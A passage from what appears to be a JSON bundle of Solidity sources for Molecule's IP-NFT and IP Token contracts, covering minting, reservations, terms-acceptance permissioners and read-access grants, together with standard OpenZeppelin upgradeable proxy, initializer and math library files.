amount of tokens that ever have been issued (not necessarily == supply)\n uint256 public totalIssued;\n\n /// @notice when true, no one can ever mint tokens again.\n bool public capped;\n\n Metadata internal _metadata;\n\n function initialize(uint256 ipnftId, string calldata name, string calldata symbol, address originalOwner, string memory agreementCid)\n external\n initializer\n {\n __Ownable_init();\n __ERC20_init(name, symbol);\n _metadata = Metadata({ ipnftId: ipnftId, originalOwner: originalOwner, agreementCid: agreementCid });\n }\n\n constructor() {\n _disableInitializers();\n }\n\n modifier onlyTokenizerOrIPNFTController() {\n if (_msgSender() != owner() && _msgSender() != IControlIPTs(owner()).controllerOf(_metadata.ipnftId)) {\n revert MustControlIpnft();\n }\n _;\n }\n\n function metadata() external view returns (Metadata memory) {\n return _metadata;\n }\n\n /**\n * @notice the supply of IP Tokens is controlled by the tokenizer contract.\n * @param receiver address\n * @param amount uint256\n */\n function issue(address receiver, uint256 amount) external onlyTokenizerOrIPNFTController {\n if (capped) {\n revert TokenCapped();\n }\n totalIssued += amount;\n _mint(receiver, amount);\n }\n\n /**\n * @notice mark this token as capped. After calling this, no new tokens can be `issue`d\n */\n function cap() external onlyTokenizerOrIPNFTController {\n capped = true;\n emit Capped(totalIssued);\n }\n\n /**\n * @notice contract metadata, compatible to ERC1155\n * @return string base64 encoded data url\n */\n function uri() external view returns (string memory) {\n string memory tokenId = Strings.toString(_metadata.ipnftId);\n\n string memory props = string.concat(\n '\"properties\": {',\n '\"ipnft_id\": ',\n tokenId,\n ',\"agreement_content\": \"ipfs://',\n _metadata.agreementCid,\n '\",\"original_owner\": \"',\n Strings.toHexString(_metadata.originalOwner),\n '\",\"erc20_contract\": \"',\n Strings.toHexString(address(this)),\n '\",\"supply\": \"',\n Strings.toString(totalIssued),\n '\"}'\n );\n\n return string.concat(\n \"data:application/json;base64,\",\n Base64.encode(\n bytes(\n string.concat(\n '{\"name\": \"IP Tokens of IPNFT #',\n tokenId,\n '\",\"description\": \"IP Tokens, derived from IP-NFTs, are ERC-20 tokens governing IP pools.\",\"decimals\": 18,\"external_url\": \"https://molecule.to\",\"image\": \"\",',\n props,\n \"}\"\n )\n )\n )\n );\n }\n}\n"
},
"src/Permissioner.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\nimport { Strings } from \"@openzeppelin/contracts/utils/Strings.sol\";\nimport { ECDSA } from \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\";\nimport { SignatureChecker } from \"@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol\";\nimport { IPToken, Metadata } from \"./IPToken.sol\";\n\nerror InvalidSignature();\nerror Denied();\n\ninterface IPermissioner {\n /**\n * @notice reverts when `_for` may not interact with `tokenContract`\n * @param tokenContract IPToken\n * @param _for address\n * @param data bytes\n */\n function accept(IPToken tokenContract, address _for, bytes calldata data) external;\n}\n\ncontract BlindPermissioner is IPermissioner {\n function accept(IPToken tokenContract, address _for, bytes calldata data) external {\n //empty\n }\n}\n\ncontract ForbidAllPermissioner is IPermissioner {\n function accept(IPToken, address, bytes calldata) external pure {\n revert Denied();\n }\n}\n\ncontract TermsAcceptedPermissioner is IPermissioner {\n event TermsAccepted(address indexed tokenContract, address indexed signer, bytes signature);\n\n /**\n * @notice checks validity signer`'s `signature` of `specificTermsV1` on `tokenId` and emits an event\n * reverts when `signature` can't be verified\n * @dev the signature itself or whether it has already been presented is not stored on chain\n * uses OZ:`SignatureChecker` under the hood and also supports EIP1271 signatures\n *\n * @param tokenContract IPToken\n * @param _for address the account that has created `signature`\n * @param signature bytes encoded signature, for eip155: `abi.encodePacked(r, s, v)`\n */\n function accept(IPToken tokenContract, address _for, bytes calldata signature) external {\n if (!isValidSignature(tokenContract, _for, signature)) {\n revert InvalidSignature();\n }\n emit TermsAccepted(address(tokenContract), _for, signature);\n }\n\n /**\n * @notice checks whether `signer`'s `signature` of `specificTermsV1` on `tokenContract.metadata.ipnftId` is valid\n * @param tokenContract IPToken\n */\n function isValidSignature(IPToken tokenContract, address signer, bytes calldata signature) public view returns (bool) {\n bytes32 termsHash = ECDSA.toEthSignedMessageHash(bytes(specificTermsV1(tokenContract)));\n return SignatureChecker.isValidSignatureNow(signer, termsHash, signature);\n }\n\n function specificTermsV1(Metadata memory metadata) public view returns (string memory) {\n return string.concat(\n \"As an IP token holder of IPNFT #\",\n Strings.toString(metadata.ipnftId),\n \", I accept all terms that I've read here: ipfs://\",\n metadata.agreementCid,\n \"\\n\\n\",\n \"Chain Id: \",\n Strings.toString(block.chainid),\n \"\\n\",\n \"Version: 1\"\n );\n }\n\n /**\n * @notice this yields the message text that claimers must present to proof they have accepted all terms\n * @param tokenContract IPToken\n */\n function specificTermsV1(IPToken tokenContract) public view returns (string memory) {\n return (specificTermsV1(tokenContract.metadata()));\n }\n}\n"
},
"src/IPNFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\nimport { ERC721Upgradeable } from \"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol\";\nimport { ERC721BurnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\nimport { ERC721URIStorageUpgradeable } from \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol\";\nimport { OwnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport { PausableUpgradeable } from \"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol\";\nimport { CountersUpgradeable } from \"@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol\";\nimport { UUPSUpgradeable } from \"@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol\";\nimport { IAuthorizeMints, SignedMintAuthorization } from \"./IAuthorizeMints.sol\";\nimport { IReservable } from \"./IReservable.sol\";\n\n/*\n ______ _______ __ __ ________ ________\n| \\ \\ | \\ | \\ \\ \\\n \\▓▓▓▓▓▓ ▓▓▓▓▓▓▓\\ | ▓▓\\ | ▓▓ ▓▓▓▓▓▓▓▓\\▓▓▓▓▓▓▓▓\n | ▓▓ | ▓▓__/ ▓▓______| ▓▓▓\\| ▓▓ ▓▓__ | ▓▓\n | ▓▓ | ▓▓ ▓▓ \\ ▓▓▓▓\\ ▓▓ ▓▓ \\ | ▓▓\n | ▓▓ | ▓▓▓▓▓▓▓ \\▓▓▓▓▓▓ ▓▓\\▓▓ ▓▓ ▓▓▓▓▓ | ▓▓\n _| ▓▓_| ▓▓ | ▓▓ \\▓▓▓▓ ▓▓ | ▓▓\n| ▓▓ \\ ▓▓ | ▓▓ \\▓▓▓ ▓▓ | ▓▓\n \\▓▓▓▓▓▓\\▓▓ \\▓▓ \\▓▓\\▓▓ \\▓▓\n */\n\n/// @title IPNFT V2.4\n/// @author molecule.to\n/// @notice IP-NFTs capture intellectual property to be traded and synthesized\ncontract IPNFT is ERC721URIStorageUpgradeable, ERC721BurnableUpgradeable, IReservable, UUPSUpgradeable, OwnableUpgradeable, PausableUpgradeable {\n using CountersUpgradeable for CountersUpgradeable.Counter;\n\n CountersUpgradeable.Counter private _reservationCounter;\n\n /// @notice by reserving a mint an user captures a new token id\n mapping(uint256 => address) public reservations;\n\n /// @notice an authorizer that checks whether a mint operation is allowed\n IAuthorizeMints mintAuthorizer;\n\n mapping(uint256 => mapping(address => uint256)) internal readAllowances;\n\n uint256 constant SYMBOLIC_MINT_FEE = 0.001 ether;\n\n /// @notice an IPNFT's base symbol, to be determined by the minter / owner, e.g. BIO-00001\n mapping(uint256 => string) public symbol;\n\n event Reserved(address indexed reserver, uint256 indexed reservationId);\n event IPNFTMinted(address indexed owner, uint256 indexed tokenId, string tokenURI, string symbol);\n event ReadAccessGranted(uint256 indexed tokenId, address indexed reader, uint256 until);\n event AuthorizerUpdated(address authorizer);\n\n error NotOwningReservation(uint256 id);\n error ToZeroAddress();\n error Unauthorized();\n error InsufficientBalance();\n error BadDuration();\n error MintingFeeTooLow();\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor() {\n _disableInitializers();\n }\n\n /// @notice Contract initialization logic\n function initialize() external initializer {\n __UUPSUpgradeable_init();\n __Ownable_init();\n __Pausable_init();\n __ERC721_init(\"IPNFT\", \"IPNFT\");\n _reservationCounter.increment(); //start at 1.\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n\n function unpause() external onlyOwner {\n _unpause();\n }\n\n function setAuthorizer(IAuthorizeMints authorizer_) external onlyOwner {\n mintAuthorizer = authorizer_;\n emit AuthorizerUpdated(address(authorizer_));\n }\n\n /// @notice https://docs.opensea.io/docs/contract-level-metadata\n function contractURI() public pure returns (string memory) {\n return \"https://mint.molecule.to/contract-metadata/ipnft.json\";\n }\n\n /**\n * @notice reserves a new token id. Checks that the caller is authorized, according to the current implementation of IAuthorizeMints.\n * @return reservationId a new reservation id\n */\n function reserve() external whenNotPaused returns (uint256 reservationId) {\n if (!mintAuthorizer.authorizeReservation(_msgSender())) {\n revert Unauthorized();\n }\n reservationId = _reservationCounter.current();\n _reservationCounter.increment();\n reservations[reservationId] = _msgSender();\n emit Reserved(_msgSender(), reservationId);\n }\n\n /**\n * @notice mints an IPNFT with `tokenURI` as source of metadata. Invalidates the reservation. Redeems `mintpassId` on the authorizer contract\n * @notice We are charging a nominal fee to symbolically represent the transfer of ownership rights, for a price of .001 ETH (<$2USD at current prices). This helps the ensure the protocol is affordable to almost all projects, but discourages frivolous IP-NFT minting.\n *\n * @param to the recipient of the NFT\n * @param reservationId the reserved token id that has been reserved with `reserve()`\n * @param _tokenURI a location that resolves to a valid IP-NFT metadata structure\n * @param _symbol a symbol that represents the IPNFT's derivatives. Can be changed by the owner\n * @param authorization a bytes encoded parameter that's handed to the current authorizer\n * @return the `reservationId`\n */\n function mintReservation(address to, uint256 reservationId, string calldata _tokenURI, string calldata _symbol, bytes calldata authorization)\n external\n payable\n override\n whenNotPaused\n returns (uint256)\n {\n if (reservations[reservationId] != _msgSender()) {\n revert NotOwningReservation(reservationId);\n }\n\n if (msg.value < SYMBOLIC_MINT_FEE) {\n revert MintingFeeTooLow();\n }\n\n if (!mintAuthorizer.authorizeMint(_msgSender(), to, abi.encode(SignedMintAuthorization(reservationId, _tokenURI, authorization)))) {\n revert Unauthorized();\n }\n\n delete reservations[reservationId];\n symbol[reservationId] = _symbol;\n mintAuthorizer.redeem(authorization);\n\n _mint(to, reservationId);\n _setTokenURI(reservationId, _tokenURI);\n emit IPNFTMinted(to, reservationId, _tokenURI, _symbol);\n return reservationId;\n }\n\n /**\n * @notice grants time limited \"read\" access to gated resources\n * @param reader the address that should be able to access gated content\n * @param tokenId token id\n * @param until the timestamp when read access expires (unsafe but good enough for this use case)\n */\n function grantReadAccess(address reader, uint256 tokenId, uint256 until) external {\n if (ownerOf(tokenId) != _msgSender()) {\n revert InsufficientBalance();\n }\n\n if (block.timestamp >= until) {\n revert BadDuration();\n }\n\n readAllowances[tokenId][reader] = until;\n emit ReadAccessGranted(tokenId, reader, until);\n }\n\n /**\n * @notice check whether `reader` currently is able to access gated content behind `tokenId`\n * @param reader the address in question\n * @param tokenId the ipnft id\n * @return bool current read allowance\n */\n function canRead(address reader, uint256 tokenId) external view returns (bool) {\n return (ownerOf(tokenId) == reader || readAllowances[tokenId][reader] > block.timestamp);\n }\n\n /// @notice in case someone sends Eth to this contract, this function gets it out again\n function withdrawAll() public whenNotPaused onlyOwner {\n (bool success,) = _msgSender().call{ value: address(this).balance }(\"\");\n require(success, \"transfer failed\");\n }\n\n /// @inheritdoc UUPSUpgradeable\n function _authorizeUpgrade(address /*newImplementation*/ )\n internal\n override\n onlyOwner // solhint-disable-next-line no-empty-blocks\n { }\n\n /// @inheritdoc ERC721Upgradeable\n function _burn(uint256 tokenId) internal virtual override(ERC721URIStorageUpgradeable, ERC721Upgradeable) {\n super._burn(tokenId);\n }\n\n /// @inheritdoc ERC721Upgradeable\n function tokenURI(uint256 tokenId) public view virtual override(ERC721URIStorageUpgradeable, ERC721Upgradeable) returns (string memory) {\n return super.tokenURI(tokenId);\n }\n\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable, ERC721URIStorageUpgradeable) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n}\n"
},
"src/IControlIPTs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\n/**\n * @title IControlIPTs 1.3\n * @author molecule.xyz\n * @notice must be implemented by contracts that should control IPTs\n */\ninterface IControlIPTs {\n function controllerOf(uint256 ipnftId) external view returns (address);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/draft-IERC1822Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified\n * proxy whose upgrades are fully controlled by the current implementation.\n */\ninterface IERC1822ProxiableUpgradeable {\n /**\n * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation\n * address.\n *\n * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks\n * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this\n * function revert if invoked through a proxy.\n */\n function proxiableUUID() external view returns (bytes32);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/ERC1967/ERC1967Upgrade.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../beacon/IBeaconUpgradeable.sol\";\nimport \"../../interfaces/IERC1967Upgradeable.sol\";\nimport \"../../interfaces/draft-IERC1822Upgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/StorageSlotUpgradeable.sol\";\nimport \"../utils/Initializable.sol\";\n\n/**\n * @dev This abstract contract provides getters and event emitting update functions for\n * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.\n *\n * _Available since v4.1._\n */\nabstract contract ERC1967UpgradeUpgradeable is Initializable, IERC1967Upgradeable {\n function __ERC1967Upgrade_init() internal onlyInitializing {\n }\n\n function __ERC1967Upgrade_init_unchained() internal onlyInitializing {\n }\n // This is the keccak-256 hash of \"eip1967.proxy.rollback\" subtracted by 1\n bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;\n\n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation address.\n */\n function _getImplementation() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n }\n\n /**\n * @dev Stores a new address in the EIP1967 implementation slot.\n */\n function _setImplementation(address newImplementation) private {\n require(AddressUpgradeable.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n }\n\n /**\n * @dev Perform implementation upgrade\n *\n * Emits an {Upgraded} event.\n */\n function _upgradeTo(address newImplementation) internal {\n _setImplementation(newImplementation);\n emit Upgraded(newImplementation);\n }\n\n /**\n * @dev Perform implementation upgrade with additional setup call.\n *\n * Emits an {Upgraded} event.\n */\n function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {\n _upgradeTo(newImplementation);\n if (data.length > 0 || forceCall) {\n AddressUpgradeable.functionDelegateCall(newImplementation, data);\n }\n }\n\n /**\n * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.\n *\n * Emits an {Upgraded} event.\n */\n function _upgradeToAndCallUUPS(address newImplementation, bytes memory data, bool forceCall) internal {\n // Upgrades from old implementations will perform a rollback test. This test requires the new\n // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing\n // this special case will break upgrade paths from old UUPS implementation to new ones.\n if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) {\n _setImplementation(newImplementation);\n } else {\n try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) {\n require(slot == _IMPLEMENTATION_SLOT, \"ERC1967Upgrade: unsupported proxiableUUID\");\n } catch {\n revert(\"ERC1967Upgrade: new implementation is not UUPS\");\n }\n _upgradeToAndCall(newImplementation, data, forceCall);\n }\n }\n\n /**\n * @dev Storage slot with the admin of the contract.\n * This is the keccak-256 hash of \"eip1967.proxy.admin\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n /**\n * @dev Returns the current admin.\n */\n function _getAdmin() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;\n }\n\n /**\n * @dev Stores a new address in the EIP1967 admin slot.\n */\n function _setAdmin(address newAdmin) private {\n require(newAdmin != address(0), \"ERC1967: new admin is the zero address\");\n StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;\n }\n\n /**\n * @dev Changes the admin of the proxy.\n *\n * Emits an {AdminChanged} event.\n */\n function _changeAdmin(address newAdmin) internal {\n emit AdminChanged(_getAdmin(), newAdmin);\n _setAdmin(newAdmin);\n }\n\n /**\n * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.\n * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.\n */\n bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n /**\n * @dev Returns the current beacon.\n */\n function _getBeacon() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;\n }\n\n /**\n * @dev Stores a new beacon in the EIP1967 beacon slot.\n */\n function _setBeacon(address newBeacon) private {\n require(AddressUpgradeable.isContract(newBeacon), \"ERC1967: new beacon is not a contract\");\n require(\n AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),\n \"ERC1967: beacon implementation is not a contract\"\n );\n StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;\n }\n\n /**\n * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does\n * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).\n *\n * Emits a {BeaconUpgraded} event.\n */\n function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {\n _setBeacon(newBeacon);\n emit BeaconUpgraded(newBeacon);\n if (data.length > 0 || forceCall) {\n AddressUpgradeable.functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);\n }\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 